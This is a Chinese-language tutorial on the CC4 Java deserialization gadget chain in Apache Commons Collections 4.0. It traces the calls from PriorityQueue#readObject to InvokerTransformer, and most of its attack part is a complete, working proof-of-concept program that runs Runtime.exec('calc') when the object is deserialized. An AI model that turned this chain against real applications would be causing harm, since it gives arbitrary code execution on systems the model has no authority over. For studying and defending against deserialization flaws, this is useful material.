Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。
环境
CC4链用到了commons-collections4,需要在pom改一下。并且commons-collections4的InvokerTransformer类实现了Serializable,可以使用它来进行利用。
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
从后面往前跟,定位到transform()方法,发现在TransformingComparator#compare调用的
继续跟一下哪里调用了compare,在PriorityQueue#siftDownUsingComparator发现调用了compare,并且这里comparator可控
继续跟siftDown调用了siftDownUsingComparator
heapify调用了siftDown
经过在同一类的多次调用,最终到了PriorityQueue#readObject,尝试利用
只需要编写前半部分代码,后半部分可以用CC1或者CC3的都可以,我们以CC1为例
复制CC1的ChainedTransformer,再实例化一个TransformingComparator和PriorityQueue
public class CC4_Test_cc1 {
public static void main(String[] args) throws Exception{
Transformer[] transform1 = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transform1);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue<Object> objects = new PriorityQueue<>(transformingComparator);
serialize(objects);
unserialize("ser.bin");
}
运行后没有弹出计算器,调试发现没有进入到siftDown,这个条件要让size>=2
给他加上两个值后,在序列化时候弹了计算器
objects.add(1);
objects.add(2);
跟进add发现在add() -> offer() -> siftUp() -> siftUpUsingComparator()
执行了compare方法
让它初始化的时候不赋值,add完成后通过反射赋值
Class c = chainedTransformer.getClass();
Field iTransformers = c.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transform1);
完整代码
package org.example;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC4_Test_cc1 {
public static void main(String[] args) throws Exception{
Transformer[] transform1 = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new ConstantTransformer(1));
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue<Object> objects = new PriorityQueue<>(transformingComparator);
objects.add(1);
objects.add(2);
Class c = chainedTransformer.getClass();
Field iTransformers = c.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transform1);
serialize(objects);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
System.out.println("serialize");
}
public static Object unserialize(String str) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
Object obj = objectInputStream.readObject();
System.out.println("unserialize");
return obj;
}
}
利用链
PriorityQueue#readObject –> heapify() –> siftDown() –> siftDownUsingComparator() –> TransformingComparator#compare –> ChainedTransformer#transform –> InvokerTransformer#transform –> Runtime.exec()







